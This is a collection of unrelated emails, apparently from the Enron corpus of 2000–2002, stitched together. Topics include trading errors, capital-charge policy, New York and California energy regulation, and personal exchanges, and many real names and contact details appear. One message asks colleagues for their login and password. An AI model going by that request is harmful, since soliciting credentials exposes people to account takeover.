244-3820) or Brian Cherry (213 244-3895) as soon as possible.

We are also finalizing the Retail Issues Settlement with those parties
interested in this matter and expect to circulate a formal document tomorrow
morning.  I ask for your continuing patience.

Once again, I would like to thank everyone for the Herculean efforts they
have made to make this settlement possible.

 - GIRcounter0330final.doc
 - Primary Rights 3-30 4PM final.doc

This deal should be with APB, not Prebon. Trader error. I'll change this when 
the calc is over - in about 45 minutes.

11/17/2000 02:30 PM
cc:  

Subject: 11-17-00 discrepancies

Mark Fischer
deal 461972
error:  Prebon does not recognize this deal.

Bloomberg/Motley

Please check days of week
Bloomberg shows 
Mon-Saturday, excluding Nerc Holidays x16    total mws 30400

We have in system 
SMTWTFS H  for a total mws 36,800

please let me know
Thanks

(See attached file: Import & Export Prices.pdf)(See attached file: Jobless
Claims.pdf)

      Carr Futures
      150 S. Wacker Dr., Suite 1500
      Chicago, IL 60606  USA
      Tel:  312-368-6149
      Fax:  312-368-2281
      soblander@carrfut.com
      http://www.carrfut.com
 - Import & Export Prices.pdf
 - Jobless Claims.pdf

Are we doing ATM rings for Sempra and Kinder? Or others? Presto said he's refusing to do it in power for anybody. Any advice, cause the phone is ringing off the hook to do them.

With Teri's departure, Grace Rodriguez will begin to assist me and Rick 
Johnson on HR related matters.  She will also continue to support the 
Technical Analysis group until a suitable replacement has been identified.  
In the meantime, Grace will be supported by Elizabeth Squires to assist with 
ad hoc duties.

Please join me in congratulating Grace on her new responsibilities.

Amy

To further the process of reaching the stated objectives of increasing Enron America's Velocity of Capital and associated Return on Invested Capital, we have decided to create a Capital Book. The Capital Book will have no profit target associated with it and will be managed by Joe Deffner. The purpose of creating this book is to ensure that all transactions within Enron Americas, with any form of capital requirement, are structured correctly and are allocated the appropriate cost of capital charge. 

The previous numbers used in the Business Plans at the beginning of this year will remain for all transactions in place and where we hold assets. Therefore, on any assets currently held within each business area, the capital charge will remain at 15%. Internal ownership of these assets will be maintained by the originating Business Unit subject to the Internal Ownership Policy outlined below.

The cost of capital associated with all transactions in Enron Americas will be set by Joe. This process is separate and apart from the current RAC process for transactions which will continue unchanged.

Capital investments on balance sheet will continue to accrue a capital charge at the previously established rate of 15%. Transactions which are structured off credit will receive a pure market pass through of the actually incurred cost of capital as opposed to the previous 15% across the board charge. Transactions which are structured off balance sheet, but on credit will be priced based upon the financial impact on Enron America's overall credit capacity.

On transactions that deploy capital through the trading books, the Capital Book will take a finance reserve on each transaction, similar to the way the Credit Group takes a credit reserve. This finance reserve will be used specifically to fund the capital required for the transaction. As noted above, the Capital Book will have no budget and will essentially charge out to the origination and trading groups at actual cost.

By sending market-based capital pricing signals internally, Enron America's sources of capital and liquidity should be better optimized across the organization. 

Questions regarding the Capital Book can be addressed to:
Joe Deffner		853-7117
Alan Quaintance	345-7731

Yes, I had to go to GA right after my trip to Vegas so they could call me a
dumbass. Now it is the Californians turn.

From: Scott.Hendrickson@enron.com [mailto:Scott.Hendrickson@enron.com]
Sent: Tuesday, December 12, 2000 1:07 PM
To: bruce.s.grant@lmco.com
Subject: Re: Who let the dogs out?

yes...we're doing ok here :)

i didn't know you were going to california...is this to palmdale?

scott

The NYPSC today issued an Order directing the expedited consideration of  
"bottoms-up" rate unbundling by all of the state's major electric and gas 
utilities. Enron has long pushed the PSC to address this issue. The PSC wants 
unbundled rates in effect by the first half of 2002, and has set up a 
two-stage process to get there. Under the first stage, which the PSC wants 
completed and brought to them for decision by this August, major policy 
issues of statewide import  are to be considered. Resolution of these issues 
will guide the actual embedded cost studies which each of the utilities are 
directed to perform. These cost studies and the fully unbundled rates that 
will flow from them, will then be reviewed in utility-specific cases. The PSC 
expects the studies to be completed before the end of this year.  I 
anticipate that we will actively participate in this proceeding, which is 
actually being spun off from the "end-state" proceeding, through our NESPA 
coalition. A copy of the PSC's order should be available on their website:  
www.dps.state.ny.us

As promised, I have attached for your records and files the 2001-2002 United
Way Board Roster.  Our United Way is committed to maintaining the privacy
(phone numbers and addresses) of our members.  Please know, this roster is
shared only with members of our board.

		 <<botintl01.doc>>

Administrative Coordinator - President's Office
United Way of the Texas Gulf Coast
2200 North Loop West  (77018)
Phone: 713-685-2764
Fax: 713-685-5556
E-mail: ajones@uwtgc.org
Website: www.uwtgc.org

 - botintl01.doc 

pkeavey	

cpmk17apr

From: 	Bates, Kimberly  
Sent:	Wednesday, November 07, 2001 9:44 AM
To:	Neal, Scott; Vickers, Frank; Ames, Chuck; Brawner, Sandra F.; Germany, Chris; Hodge, John; Keavey, Peter F.; Mckay, Brad; Mckay, Jonathan; Pereira, Susan W.; Pimenov, Vladi; Ring, Andrea; Savvas, Leonidas; Townsend, Judy; Versen, Victoria; Barbe, Robin; Concannon, Ruth; Goodell, Scott; Jones, David; Kaiser, Jared; Loving, Scott; Muhl, Gil; Smith, Maureen; Smith, Shauywn; Taylor, Craig; Willis, Jim; Zivley, Jill T.
Subject:	Move Packets

I will be handing out move packets today. However, I need your login and password, before I can give you the packet.

Kimberly Bates
East Gas/Origination
713-853-5193
713-646-8453 Fax

---------------------- Forwarded by Chris Germany/HOU/ECT on 07/13/2000 04:15 

dkinney@columbiaenergygroup.com on 05/30/2000 10:14:37 AM
To: " - *Kevin.Ruscitti@enron.com" <Kevin.Ruscitti@enron.com>, " - 
*chris.germany@enron.com" <chris.germany@enron.com>
cc: " - *Molly.Johnson@enron.com" <Molly.Johnson@enron.com>, " - *Dalphon, 
Charles" <cdalpho@columbiaenergygroup.com>, " - *Scott, David" 
<dscott1@columbiaenergygroup.com>, " - *Bizik, Kim" 
<knovsek@columbiaenergygroup.com>, " - *Jones, Donna" 
<djones1@columbiaenergygroup.com>, " - *Destephanis, Kara" 
<kdestep@columbiaenergygroup.com>, " - *Boyd, Heidi" 
<hboyd@columbiaenergygroup.com>, " - *cfrankl2@enron.com" 
<cfrankl2@enron.com>, " - *joan.veselack@enron.com" 
<joan.veselack@enron.com>, " - *vversen@enron.com" <vversen@enron.com>, " - 
*cindy.vachuska@enron.com" <cindy.vachuska@enron.com>, " - 
*cora_pendergrass@enron.com" <cora_pendergrass@enron.com>, " - 
*mmitche2@enron.com" <mmitche2@enron.com>, " - *scott.goodell@enron.com" 
<scott.goodell@enron.com>, " - *steve.gillespie@enron.com" 
<steve.gillespie@enron.com>, " - *cgarcia@enron.com" <cgarcia@enron.com>, " - 
*despey@enron.com" <despey@enron.com>, " - *joann.collins@enron.com" 
<joann.collins@enron.com> 
Subject: Updated CES Jun'00 FOM Requirements

The attached file is an update of the CES FOM June'00 request that was
transmitted on 5/26/00.  The changes between this version and the original
version are listed in the worksheet labelled "Comments".   The only changes
versus Friday's transmittal are to AGL volumes delivered on Transco.

The worksheet labelled 'Total Reqs.' and the one labelled 'Jun00 EPA Vols' 
show
volume requirements at the various citygates.  I have not adjusted our volume
requirements to reflect supply from local production behind some LDCs per 
Chris
Germany's e-mail of 5/24/00.  However, I have inserted notes indicating where
and what portion of the citygate volumes shown, will be supplied by local
production per Chris's aforementioned e-mail.

Also:  The volumes in the attached are requested pursuant to the 12/99 Energy
Purchase Agreement between Enron and CES.  During June 2000 CES will be
procuring additonal volumes from Enron under a separate deal, which should not
be confused with this request.

Doug Kinney
Ph:  703-561-6339
Fax:  703-561-7317

 - Jun00_FOM_Req4.xls

I saw you called on the cell this a.m.  Sorry I missed you.  (I was in the 
shower).  I have had a shitty week--I suspect my silence (not only to you, 
but others) after our phone call is a result of the week.  I'm seeing Glen at 
11:15....talk to you

Thought you or your colleagues might be interested in this gem.? EnronOnline 
gets favorable mention, under a generally negative headline.

All the best, 

Bob 

 <<IssueAlert 1_15_01.htm>> 

This e-mail message may contain legally privileged and/or confidential 
information. If you are not the intended recipient(s), or the employee 
or agent responsible for delivery of this message to the intended 
recipient(s), you are hereby notified that any dissemination, 
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If you have received this message in error, please immediately notify 
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 - IssueAlert 1_15_01.htm

I just penned it in my new, leather calender that Cameron gave to me so that
I might become a little more organized. Do you think we might be able to
snowboard (ski) instead of cross-country ski?

>From: Cameron Sellers <cameron@perfect.com>
>To: 'Prentice Sellers' <psellers@pacbell.net>, jdasovic@enron.com, Scott
>Laughlin <scottwl@hotmail.com>
>Subject: RE: Bluegrass Weekend at Sierra Club Lodge
>Date: Tue, 23 Jan 2001 08:38:18 -0800
>
>I think we should definitely go.  I could not go up until Friday. Please
>make reservations!!!
>
>
>Cameron Sellers
>Vice President, Business Development
>PERFECT
>1860 Embarcadero Road - Suite 210
>Palo Alto, CA 94303
>cameron@perfect.com
>650.798.3366 (direct dial)
>650.269.3366 (cell)
>650.858.1095 (fax)
>
>  -----Original Message-----
>From:  Prentice Sellers [mailto:psellers@pacbell.net]
>Sent: Monday, January 22, 2001 6:34 PM
>To: Cameron Sellers; jdasovic@enron.com; Scott Laughlin
>Subject: Bluegrass Weekend at Sierra Club Lodge
>
>In case it's not on your calendars, the bluegrass weekend at the Sierra
>Club's Claire Tappan Lodge is:
>
>March 16-18
>
>It's $46 per person per night
>Includes 3 meals
>
>If we're going to go, I think we should make reservations right away.  If
>so, do we plan on getting up there Friday night?  I can make the
>reservations if you let me know.
>
>I haven't found any info yet on the free one...
>
>Here's some info I copied from the Claire Tappan Lodge website:
>http://www.sierraclub.org/outings/lodges/ctl/index.asp
>
>Clair Tappaan is located at 7000 feet, 45 minutes drive west of Reno - 1
>mile from Sugar Bowl.  The living room has an enormous stone fireplace.
>There is a library, a large communal dinning room, a social lounge, and a
>hot tub. The lodge maintains 10 to 12 kilometers of groomed cross-country
>ski trails and offers excellent instruction in both Nordic track and
>telemark techniques. Top quality cross-country skis and snowshoes are also
>available to rent at very reasonable rates.
>
>Guests needs to provide their own pillow, toiletries, towel, sleeping bag
>or
>comparable linens, and bathing suit if they wish to use the hot tub. We ask
>guests to choose a house chore to do each day they eat at the lodge.
>
>March 16-18:  Blue Grass Weekend. Calling amateurs and proffesionals alike
>to a weekend of great jam sessions in the afternoons and a performance by
>the Donner Peak Pickers in the evening. The Pickers are a fantastic bunch
>of
>widely-experienced musicians playing traditional Bluegrass with superb
>instrumental craftsmanship.

Get your FREE download of MSN Explorer at http://explorer.msn.com

Attached please find the memo I promised related to next steps.  Let me know.

JDS

I have executed this and returned to Anne.

Tom

From: 	Bennick, Kimberlee  
Sent:	Thursday, May 31, 2001 9:27 AM
To:	Colwell, Wes; Ducote, James; Gottlob, Edward; Gray, Barbara; McKay, James; Martin, Thomas A.; Schwieger, Jim; CharlesThompson/HOU/EES@EES; Zivley, Jill T.
Cc:	Koehler, Anne
Subject:	URGENT RESPONSE REQUIRED

	Per Anne Koehler's memo dated 5/29/01, this is a reminder that the Knowledge Certificate is due today, May 31st,  no later than 12:00 noon.  Please execute this certificate and return to Anne's attention at EB 3839.
	If you have any questions, please contact  Anne at  x33448 or Barbara at  x36832.

Thank You,
Kim Bennick

----- Forwarded by Kimberlee A Bennick/HOU/ECT on 05/31/2001 09:09 AM -----

	Anne C Koehler@ENRON Sent by: Carolyn George@ENRON 05/29/2001 06:26 PM 	   To: Nick Cocavessis/Enron@EnronXGate, Wes Colwell/Enron@EnronXGate, James I Ducote/HOU/ECT@ECT, Edward D Gottlob/HOU/ECT@ECT, Barbara N Gray/HOU/ECT@ECT, James McKay/HOU/ECT@ECT, Thomas A Martin/Enron@EnronXGate, Brian Redmond/Enron@EnronXGate, Steve HPL Schneider/HOU/ECT@ECT, Jim Schwieger/Enron@EnronXGate, Charles Thompson/HOU/EES@EES, Jill T Zivley/Enron@EnronXGate  cc: Anne C Koehler/HOU/ECT@ECT, (bcc: Kimberlee A Bennick/HOU/ECT)  Subject: URGENT RESPONSE REQUIRED	

	Attached hereto is the certificate that must be signed by each of you in connection with the sale of Houston Pipe Line Company to AEP.  As outlined in my earlier e-mail message to each of you, this certificate is your confirmation that you have reviewed the Disclosure Schedules to the Purchase and Sale Agreement and that you have notified Brian Redmond in writing of any additions or corrections that should be made prior to the Closing.  The certificate also confirms that you have provided relevant portions of the Disclosure Schedules to the Key Employees listed on Schedule II and asked them to also notify Brian Redmond of any additions that are required.

	Please execute this certificate where indicated below and return it to Anne Koehler no later than Thursday, May 31, at 12:00 noon.  If you have any questions, please contact Anne Koehler at #33448 or Barbara Gray at #36832.

 << File: Knowledge CERTIFICATE.doc >> 				 << File: SCHEDULE II.doc >> 

Anne C. Koehler
Sr. Counsel, ENA
EB 3839
713-853-3448

The report named: Power West P/L <http://erv.corp.enron.com/linkFromExcel.asp?report_cd=28&report_name=Power+West+P/L&category_cd=6&category_name=WEST&toc_hide=1&sTV1=6&TV1Exp=Y&current_efct_date=10/25/2001>, published as of 10/25/2001 is now available for viewing on the website.

(Revision: 2)

Java Joe...What?

Anyway, call me about your "idea". Cell b/w 5:00-5:45. 713-817-1661

From: Parks, Joe [mailto:Joe.Parks@ENRON.com]=20
Sent: Thursday, March 07, 2002 4:00 PM
To: Brian Constantine; Erik Wollam; knipe3@msn.com; cmccomb@austin-mccomb.c=
om; kmccomb@austin-mccomb.com
Subject: RE: age of joe's deer

brian didnt age/guess that your 10 point was 5 1/2?

From: Brian Constantine [mailto:brianc@saltgrass.com]
Sent: Thursday, March 07, 2002 3:50 PM
To: Erik Wollam; knipe3@msn.com; cmccomb@austin-mccomb.com; Parks, Joe;
kmccomb@austin-mccomb.com

I think you are right on there...I'm just telling you that if you had seen =
that 10 point I shot "on the hoof", not dead on the ground w/ a cut out low=
er jaw for inspection, you would have said "Damn, that's an old deer."=20
Compared to his Identical Offspring. Same body size, Same EXACT antler form=
ation (9" g-2's, with a 2 inch kicker coming out sideways from his left G-2=
, and crab claw) The only difference b/w these 2 deer was the young one had=
 about 2 inches more spread, and about 15 inches more total antlers) Mass w=
as more on my deer, indicating age. The BIG difference was standing side by=
 side, the younger one looked like a "thoroughbread Horse", while mine look=
ed like a mule...if you can understand that. That being said, if we think t=
hat we are underestimating age on the hoof and putting all the criteria tog=
ether about what "formula" makes a old deer look old, I would have to say t=
hat My 10 point was "Mature and on his way down" while the young one (Same =
deer that Keith has seen, too) is "Mature and on his way up". The last thin=
g I have to say about that was that the "Young" deer of the two was definit=
ely the "dominant" of the two as well. He was aggressive towards my "ol' ba=
stard" and the old guy didn't want any part of him...The young one was pass=
ed on harvesting by both Keith and myself and I chose to harvest the older =
one of the two. Put in the same arena with a bunch of does and his younger =
sibling, that younger sibling was gonna get the chance to "pour the Chili" =
while the old guy snuck in from the brush, got bullied away by the "stud", =
ate enough to survive, and silently sneaked away. Meanwhile the younger stu=
d, ate and chased does around to his hearts content, no worries about anyth=
ing. Which deer needed to get shot in that scenario?
My final answer...my deer..7.5 yrs or older. His son, 4.5 and about to be a=
 Texas Big Game Award winner next season if he lives through the summer and=
 doesn't "disappear" like a lot of the other bucks we never see again from =
year to year.=20

From: Erik Wollam [mailto:erwollam@hotmail.com]=20
Sent: Thursday, March 07, 2002 2:08 PM
To: knipe3@msn.com; cmccomb@austin-mccomb.com; Joe.Parks@enron.com; kmccomb=
@austin-mccomb.com; Brian Constantine
Subject: age of joe's deer

Went to BFE with Joe during lunch to pick up his european mount of his 9pt.=
 He aged Joes deer at 8.5. We may be underaging alot of these deer on the h=
oof.
The guy does nice work and the prices were reasonable.

MSN Photos is the easiest way to share and print your photos:=20
http://photos.msn.com/support/worldwide.aspx

This e-mail is the property of Enron Corp. and/or its relevant affiliate an=
d may contain confidential and privileged material for the sole use of the =
intended recipient (s). Any review, use, distribution or disclosure by othe=
rs is strictly prohibited. If you are not the intended recipient (or author=
ized to receive for the recipient), please contact the sender or reply to E=
nron Corp. at enron.messaging.administration@enron.com and delete all copie=
s of the message. This e-mail (and any attachments hereto) are not intended=
 to be an offer (or an acceptance) and do not create or evidence a binding =
and enforceable contract between Enron Corp. (or any of its affiliates) and=
 the intended recipient or any other party, and may not be relied on by any=
one as the basis of a contract by estoppel or otherwise. Thank you.=20

Jason:  fyi.  Also, Randy Curry did call me yesterday but wasn't available 
when I returned the call.
Also, let's get Sakura Dellsher executed (and we should create a file since 
we're noting the ADM agreement which we did for Bridgeline).  Could we please 
talk this afternoon about outstanding agreements?  ss
----- Forwarded by Sara Shackleton/HOU/ECT on 06/07/2000 09:49 AM -----

	Brant Reves
	06/07/2000 09:10 AM
		
		 To: Sara Shackleton/HOU/ECT@ECT
		 cc: 
		 Subject: Re: Bridgeline Gas Marketing, LLC

hello Sara,

I think this should be a high priority once they take on an ISDA attorney.  
Per your recommendation, I contacted Randy Curry, President of Bridgeline and 
passed along your thoughts about Jason.  I gave him your phone number and he 
sounded enthusiastic about wanting to talk with him.  God knows they need an 
attorney.

Right now, I think we can take this off the priority list.

Thanks
Brant

From: Sara Shackleton on 06/06/2000 11:16 AM
To: Brant Reves/HOU/ECT@ECT
cc:  
Subject: Bridgeline Gas Marketing, LLC

Brant:  Is this really high priority (for our legal/credit discussions)?  We 
haven't heard from these guys since April 13.  Sara

Attached is the draft.  I've attempted to capture everyone's comments.  The 
only piece that is not likely to go this evening is the piece providing 
comments on the Governor's specific proposals.  That will likely go first 
thing tomorrow morning.  You'll note that only one of the Governor's 
proposals currently has any comments attached to it.  Comments on the 
Governor's proposals are appreciated.  The remainder of the materials will go 
to the Governor's staff later this evening; so any and all comments on those 
portions are welcomed and appreciated.  Thanks to all for the assistance, 
particularly in light of the holiday.

Best,
Jeff

Surprise! You've just received a Yahoo! Greeting
from "Constance" (constancebanks@yahoo.com)!

To view this greeting card, click on the following
Web address at anytime within the next 60 days.

http://greetings.yahoo.com/greet/view?WZ4INMQHEI2MU

If that doesn't work, go to http://greetings.yahoo.com/pickup and
copy and paste this code:

WZ4INMQHEI2MU

Enjoy!

The Yahoo! Greetings Team

-------------------------
Yahoo! Greetings is a free service. If you'd like to send someone a
Yahoo! Greeting, you can do so at http://greetings.yahoo.com/

Plan your next party with Yahoo! Invites - http://invites.yahoo.com/

FYI - this is set up and has been added as a tab to the bankruptcy post id sheet(CAN).  If you open the attachment, you will see she set these up as MMBTU/USD books in Risktrac.  I talked with Cecilia and she has changed this in ERMS/TAGG effective today to be GJ/CAD.  Not sure how this happened, but it is fixed now.  Should not have any problems, there is nothing in this book currently.  Let me know if we need to calc these when I get back on Wednesday.
PL

From: 	Trevino, Susan  
Sent:	Wednesday, December 19, 2001 5:50 PM
To:	Hare, Bill D.; Johnson, Cheryl; Otegbola, Remi; Rodriguez, Bernice
Cc:	Lim, Francis S.; Cheung, Cecilia; Love, Phillip M.; Wilson, Shona; Abel, Chris; Ayala, Susie
Subject:	Book request # B-DEC19-4-ST-5

Bernice - please set up the attached book request and notify when complete.

Francis/Cecilia - I will be out of the office Thursday and Friday (Dec 20 and 21).  Please handle the Erms side once Bernice sends out the notification.

I have already set up these books in RisktRAC.

Due to the Outlook problems, I was unable to handle this request in a timely fashion.  Sorry for any delays this may have caused.

Thanks everyone and have a happy and safe holiday! 
Susan
x3-1462

---------------------- Forwarded by Mark - ECT Legal Taylor/HOU/ECT on 
12/16/98 11:07 AM ---------------------------

12/15/98 05:49 PM
To: Mark - ECT Legal Taylor/HOU/ECT@ECT, Susan Flynn/HOU/ECT@ECT
cc:  
Subject: Elektro Letter : ECT and EI

Attached is the latest redline draft of the letter to signed by ECT and EI.  
I have never received any comments from anyone.  Mark, you heard Ray Bowen's 
voice mail.  Thanks.  Sara
---------------------- Forwarded by Sara Shackleton/HOU/ECT on 12/15/98 05:44 

Joyce Dorsey
12/15/98 04:24 PM
To: Raymond Bowen/HOU/ECT@ECT, Clement Lau/HOU/ECT@ECT, Chris 
Day/HOU/ECT@ECT, AnnMarie Tiller/Corp/Enron@Enron, James 
Ginty/Corp/Enron@Enron, Michael Herman/Corp/Enron@Enron, Kathy M 
Lynn/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, David 
Chang/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Barry J 
Schnapper@ENRON_DEVELOPMENT, Mitch 
Taylor/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Cassandra 
Schultz/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Lynn 
Aven/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Robert H 
George/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Cliff 
Shedd/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Sara Shackleton/HOU/ECT@ECT, 
Pushkar Shahi/HOU/ECT@ECT, Harry Arora/HOU/ECT@ECT, Kent 
Castleman/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Edson 
Pavao/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Nancy 
Muchmore/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Michael D 
Jones/AA/Corp/Enron@Enron
cc:  
Subject: Samba Draft

---------------------- Forwarded by Joyce Dorsey/HOU/ECT on 12/15/98 04:23 PM 

Jenny Helton
12/15/98 03:04 PM
To: Kathy M Lynn/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, David 
Chang/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Bob Bowen/HOU/ECT@ECT, Gareth 
Bahlmann/HOU/ECT@ECT
cc: Sara Shackleton/HOU/ECT@ECT 

Attached in the redlined Samba Swap Draft from Sara Shackleton.

Thank you.

Rod

Note as Colin sent to Stan last week

Regards

Keith

 <<Wessex Water valuation.doc>>

This email and any files transmitted with it are confidential and
intended solely for the use of the individual or entity to whom they
are addressed. If you have received this email in error please notify
the Wessex Water IT Support Centre on:

44-1225-528888 or email support@wessexwater.co.uk

This footnote also confirms that this email message has been swept by
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www.mimesweeper.com

 - Wessex Water valuation.doc 

---------------------- Forwarded by Carla Hoffman/PDX/ECT on 11/28/2000 01:08 
   
	From:  "Pergher, Gunther" <Gunther.Pergher@dowjones.com>                      
     11/28/2000 11:48 AM
	
To: undisclosed-recipients:;
cc:  
Subject: DJ Class Action/Calif Generators-3: Antitrust Law Violated

19:42 GMT 28 November 2000 DJ Class Action/Calif Generators-3: Antitrust Law
Violated
The "class" - the plaintiffs - are defined as anybody who bought power
through the California Power Exchange last summer, but largely represents
the 1.2 million customers of Sempra Energy unit (SRE) San Diego Gas &
Electric Co., according to the complaint.
The complaint alleges the defendants violated antitrust laws.
The plaintiffs allege that the generators named in the suit deliberately
withheld their power supply from the CalPX forward market, scheduled
unplanned power plant outages and congested transmission lines last summer
in an effort to drive up wholesale power prices.
Houston-based Reliant Energy Inc. (REI), operates five power plants in
California. Atlanta-based Southern Company (SO) operates six generation
units in the state; Houston-based Duke Energy (DUK) operates four power
plants; Houston-based Dynegy (DYN) operates eight power plants in
California; Arlington, Va.-based AES operates four, Tulsa, Okla.-based
Williams Energy operates three generation units and Minneapolis-based NRG
operates eight power plants.
In addition, the suit claims the California Independent System Operator,
manager of the state's high voltage transmission system, wrongfully supplied
the Western Systems Coordinating Council, an agency that manages electricity
reliability in the west, with real-time information about power plant
outages and electricity generating and capacity levels that was used by
generators to manipulate the market.
"Through the WSCC Internet web site, wholesale electricity market
participants ... were thereby given access to real-time data as to their
competitors' actions, although access to such data was forbidden by the
ISO's (rules)," the complaint states.
"Starting on or about May 22, 2000, defendants used such real-time data to
exercise market power, by among other things, reducing their (electricity)
output, strategically underbidding supply to the forward markets and
exporting electricity from the state in order to drive up" power prices, the
complaint further states.
The defendants weren't immediately available for comment.
-By Jason Leopold, Dow Jones Newswires; 323-658-3874;
jason.leopold@dowjones.com
   (END) Dow Jones Newswires  28-11-00
1942GMT Copyright (c) 2000, Dow Jones & Company Inc

G_nther A. Pergher
Senior Analyst
Dow Jones & Company Inc.
Tel.  609.520.7067
Fax. 609.452.3531

The information transmitted is intended only for the person or entity to
which it is addressed and may contain confidential and/or privileged
material.  Any review, retransmission, dissemination or other use of, or
taking of any action in reliance upon, this information by persons or
entities other than the intended recipient is prohibited. If you received
this in error, please contact the sender and delete the material from any
computer.

Suzanne L. Schwartz is scheduled for an in person interview on Thursday July 26,2001. Suzanne is interviewing for Job # 108460.Please accept this request so an appointment will be reflected on your calendar.

Your LlamaCom web hosting account for "cooper" is currently over quota (out of disk space).  Please remove files or upgrade your service plan.

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just a little worried we may have our own version of "turkey trot"

----- Forwarded by Jeff Dasovich/NA/Enron on 05/11/2001 07:14 PM -----

	David Parquet@ECT
	05/11/2001 01:24 PM
		
		 To: Sandra McCubbin/NA/Enron@ENRON
		 cc: Paul Kaufman/PDX/ECT@ECT, Susan J Mara/NA/Enron@ENRON, Jeff 
Dasovich/NA/Enron@Enron, Sandra McCubbin/NA/Enron@Enron, hgovenar@govadv.com, 
bhansen@lhom.com, sgovenar@govadv.com, Ksmith@kdscommunications.com, 
rlichtenstein@marathon-com.com, syamane@marathon-com.com, 
jkradin@marathon-com.com, Susan M Landwehr/NA/Enron@Enron, Leslie 
Lawner/NA/Enron@Enron, Jennifer Thome/NA/Enron@Enron, Richard 
Shapiro/NA/Enron@Enron, Mark Palmer/Corp/Enron@ENRON, James D 
Steffes/NA/Enron@Enron, Jeffrey Keeler/Corp/Enron@ENRON, Mary 
Schoen/NA/Enron@Enron, Samuel Wehn/HOU/ECT@ECT, Kelly Brodbeck/SF/ECT@ECT
		 Subject: Re: California says clean air not power crisis cause

Kenny's comments are absolutely false or, at best,  grossly misleading.  We 
need to respond to him.

The NUMBER ONE problem we have in California that is delaying our proposed 
power plant developments is securing ERCs.  My discussions with Calpine 
indicate that ERCs are their biggest problem as well.  (And in case someone 
hasn't noticed, the two most active developers in CAlifornia are Enron and 
Calpine.)  Air quality laws are definitely slowing us down, and slowing 
others down, which keeps the new, cleaner plants from being developed.  As I 
have mentioned before, this is actually making air quality worse in that the 
older, dirtier plants are running more.  Further, if you do the math, we will 
probably never make up for the dirty air that is created by keeping the dirty 
plants in business because of grandfathering, while the clean plants don't 
get done because of ever more rigorous BACT standards and lack of ERCs.    

Having said that, I do not agree that we should send a message that we want 
to relax or suspend the standards.  (However, getting 2ppm plants on line, 
which will put out of business the 100+ppm plants - as Calpine indicated to 
me happened in Texas - makes the point that maybe a relaxation or suspension 
is the environmentally appropriate thing to do.)  All in all, though, I 
believe that sucha common sense approach will go nowhere in California 
because the little people in the regulatory positions as well as the public 
will make sure that we pay for such a message.  Having said that, I will 
repeat the key things that we should be promoting, in my opinion:  1.)  stop 
the EPA from tightening the BACT standards to ever increasing levels of 
insanity.  (GE will not guarantee the present, and new, EPA requirement of 
2ppm, which EPA "determined" with no new operating data.  They just did it 
because they could.)  2.)  Stop making up rules for RACT adjustments.  (Kelly 
Brodbeck is working very hard, for example, to develop a program in the Bay 
Area to retrofit boats with clean burning engines to create ERCs.  A high 
level staff guy at BAAQMD "believes" that we should be RACT adjusted, 
probably making the program uneconomic.  There isn't even unanimity for this 
position on his staff.  However, this position if it sticks is irresponsible 
in light of the fact that the boats can just keep on doing what they are 
doing.  We are creating ERCs, which the BAAQMD will take a portion of in 
their haircut, and in using the ERCs, we will eventually put out of business 
the dirtier plants.  So, our program gets RACT adjusted and the air gets 
dirtier...)  3.)  Allow for payment of mitigation fees in lieu of buying 
ERCs.  There is precedent for that, but this has to be run through the SIP 
and the EPA.  Again, the in-lieu fees can be used for gov sponsored ERC 
developments (e.g., electric lawn mowers, electric water heaters, etc.), 
which will clean the air.  I am aware that Sandy is working with the CA 
legislature on this.  Go Sandy!

	Sandra McCubbin@ENRON
	05/11/2001 09:32 AM
		 
		 To: Samuel Wehn/HOU/ECT@ECT, David Parquet/SF/ECT@ECT
		 cc: 
		 Subject: California says clean air not power crisis cause

so what is the problem? CARB says there isn't one!   Think we need to 
schedule some educational meetings?
----- Forwarded by Sandra McCubbin/NA/Enron on 05/11/2001 09:30 AM -----

	Mary Schoen
	05/04/2001 12:37 PM
		 
		 To: 
		 cc: 

Friday, May 4, 2001
?

California regulators told congressional lawmakers on Thursday that clean air 
regulations are not to blame for the state's electricity shortages and said 
new legislation seeking to ease air quality rules was unneeded. 
Speaking at a House Commerce Energy and Air Quality Subcommittee hearing, the 
head of the California Air Resources Board repeatedly said environmental 
regulations should not be suspended for the sake of electricity. 
"Air quality laws are not interfering with California's ability to bring new 
generation on line and run existing power plants at maximum capacity," said 
Michael Kenny, executive officer of the board. 
When asked by Democratic lawmakers on the panel about a provision in a 
pending electricity bill, the California regulator said the state did not ask 
for a relaxation of clean air rules and did not need the change. 
"We believe that air quality-related sections of the legislation are 
unnecessary," Kenny said. 
Rep. Joe Barton, the Texas Republican who chairs the energy subcommittee, 
said the measures allow flexibility to states for the temporary suspension of 
environmental laws. He said the key point of his bill is to ensure the lights 
stay on in California this summer. 
The Golden State expects to face threats of blackouts starting this month, 
when air conditioning use accelerates. 
Objections raised by Kenny to the Barton bill included disagreement on a 
section allowing the U.S. Environmental Protection Agency to waive, when 
asked by a state, the requirements of the federal Clean Air Act pertaining to 
nitrogen oxide emissions. 
Kenny said the state already gives flexibility on the issue and contended the 
legislation would go too far and be problematic. 
"The waiver applies to all new generation facilities in the state and does 
not allow for consideration on a case-by-case (generating plant by generating 
plant) basis, where unique local factors can be weighed," said Kenny. 

Earlier this week the NY PSC finally issued its Order approving competitive 
billing options and requiring the utilities to develop "back-out" credits for 
this service based on long-run avoided costs.  The Order is an extremely 
pro-competition statement and contains language that should prove useful in 
other State proceedings where competitive billing (and metering) is being 
debated.  A copy of the Order is attached.  In brief, it allows single 
billing by the ESCO or by the Utility (at the customer/ESCO's request) and 
directs the utilities to file their tariffs with back-out credits by April 
24, 2000.  There will be a brief collaborative review of the filings in May 
and June.  The new tariffs are to go into effect October 2, 2000.

 - esco order.pdf

When do you think they were going to tell us - after the meeting?
---------------------- Forwarded by Leslie Reeves/HOU/ECT on 01/04/2001 05:41 

Mary Solmonson
01/04/2001 05:19 PM
To: Leslie Reeves/HOU/ECT@ECT
cc: Sally Beck/HOU/ECT@ECT 
Subject: Cavio Corporation

Thought you might also like to attend.

